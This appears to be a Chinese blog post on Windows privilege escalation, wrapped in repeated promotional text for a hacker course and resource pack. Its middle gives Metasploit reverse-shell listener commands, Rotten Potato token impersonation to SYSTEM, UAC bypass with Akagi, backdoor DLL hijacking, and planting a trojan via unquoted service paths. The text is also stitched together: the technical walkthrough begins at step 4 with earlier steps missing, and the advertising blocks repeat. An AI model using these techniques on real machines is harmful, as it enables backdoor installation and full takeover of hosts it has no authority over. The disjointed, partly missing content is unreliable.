网络安全最新windows权限提升总结，2024年最新5分钟搞定

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

如果你想要入坑黑客&网络安全，笔者给大家准备了一份：282G全网最全的网络安全资料包评论区留言即可领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

如果你零基础入门，笔者建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime；·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；·用Python编写漏洞的exp,然后写一个简单的网络爬虫；·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)；·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，附上学习路线。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话，评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

一些笔者自己买的、其他平台白嫖不到的视频教程。

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

msfconsole
use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit

4、假设将 shell.exe 后门通过之前的漏洞传到上传到目标靶机并点击CMD 执行后门程序

5、kali 监听到会话，是web普通权限

6、尝试用烂土豆配合令牌窃取提权，假设通过漏洞将烂土豆上传到目标服务器的C盘

然后执行以下命令，成功提权。

cd C:\\
execute -cH -f ./potato.exe
use incognito # 进入incognito
list_tokens -u  # 列出令牌
impersonate_token "NT AUTHORITY\SYSTEM"  # 令牌假冒 SYSTEM

MSF实现passUAC绕过

如果对方开了uac的话我们在对方的服务器上执行程序可能就会受到限制，为此，我们可以使用一些手段进行绕过uac的检测

用户账户控制 （User Account Control） 是Windows Vista （及更高版本操作系统）通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

查看uac

设置不同的，计算机会对于windows操作设置时进行弹窗提醒

目标主机的UAC权限设置为最低

使用msfvenom选择windows模块设置IP端口生成木马，将木马放到目标主机上，在攻击机上使用msfconsole模块进行监听，在目标主机上执行后门，上线，绕过对方将uac的安全等级放置最低我们可以直接使用getsystem进行提权，就可以获取主机的system权限

就将普通的用户权限升级到了system权限

目标主机将权限设置为较高

使用msfvenom选择windows模块设置IP端口生成木马，将木马放到目标主机上，在攻击机上使用msfconsole模块进行监听，在目标主机上执行后门，上线，但是不能直接使用getsystem进行权限提升，我们需要会用uacbypass模块进行绕过上线

windows7使用bypassuad模块，进行system提权

windows10使用 ask模块配合管理员进行钓鱼实现uac的提权

相对而言条件比较苛刻，不推荐使用

Akagi项目实现passUAC

使用项目Akagi64/Akagi32进行提权

在cmd中执行Akagi64.exe 41 会弹出一个新的命令框，这个命令框的权限就是一个高权限的用户

在实际的运用过程中，我们使用webshell工具目标主机上就可以调用这个程序，然后使用msf进行监听后门就可以获取权限（PS:不同的主机需要使用不同id号码进行提权）

这种提权方式对于目标系统使用了较高的UAC权限较为好用，不用使用msf模块进行钓鱼操作

DLL劫持

因为计算机的一些系统文件我们无法操作查看和修改，为此我们关注的更多的是我们获得权限自身自带的DLL动态链接库

原理：利用msf生成后门dll文件覆盖掉之前的DLL文件，然后利用这个dll进行上线

使用工具进行检测查看哪些dll可以被劫持

如果出现的是test result就证明这个dll文件可以被劫持

如果出现的是no valid dllhjack!

就证明这个dll文件不可以被劫持

找到可以劫持的dll文件之后我们就可以使用msf生成带后门的dll文件

将生成的dll文件替代掉之前的dll文件

替换前的dll

替换后的dll

攻击者在进行端口监听

如果目标主机执行了这个程序就会上线

不带引号的路径问题

“C:\Program Files (x86)\Acunetix\wvs_supervisor.exe” 带有引号的路径、 C:\Program Files (x86)\Acunetix\wvs_supervisor.exe 有空格不带引号就会将C:\Program当做文件路径 将Files (x86)\Acunetix\wvs_supervisor.exe作为文件的参数

如果路径包含空格并且没有用引号引起来，Windows API 必须假定在哪里可以找到引用的应用程序。服务会按照以下顺序依次执行 C:\Program.exe C:\Program Files\qcloud\tat_agent\tat_agent.exe 所以将木马命名为Program.exe，并将其放在C盘根目录，会使其优先执行

使用工具检测计算机系统中的所有程序，看他的安装目录里面是否加了引号，如果没有引号就会被晒选出来。然后我们看筛选出来的文件路径是都有空格，如果有空格就可以进行利用，利用msf模块生成一个后门文件，将这个后门文件的名字改为空格前面的文件名，在执行这个之前这个文件，执行这个服务过后，如果在攻击机上面进行监听的话就可以上线

看似启用的是之前的那个服务，实际上启用的是我们上传的后门文件

找到文件中有空格的文件

找到这种文件

将后门改为Program.exe文件，放到c盘目录下

计算机执行这个文件之后就会直接上线后门获取权限

程序执行的时候就会执行后门程序，不会执行原来的程序

修改服务程序的执行路径

本地提权

对权限控制不到位，导致用户可以更改服务执行的程序

服务的执行就是执行指定目录下的执行程序，但是有的服务的执行程序可以用修改，前期信息收集的时候，我们就可以使用工具来修改服务程序的路径，让服务启动的时候去执行我们的后门程序，我们在攻击机器上进行监听就可以获取到其计算机权限（修改服务对应的执行程序，将这个执行程序改为我们的后门程序就可以做到执行这个服务的时候来执行我们的后门程序从而实现上线）

使用windows自带的程序accesschk.exe文件，去检测计算机中存在哪些不安全的程序可以进行修改服务的执行路径。寻找的service_all_access的程序服务

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

因篇幅有限，仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！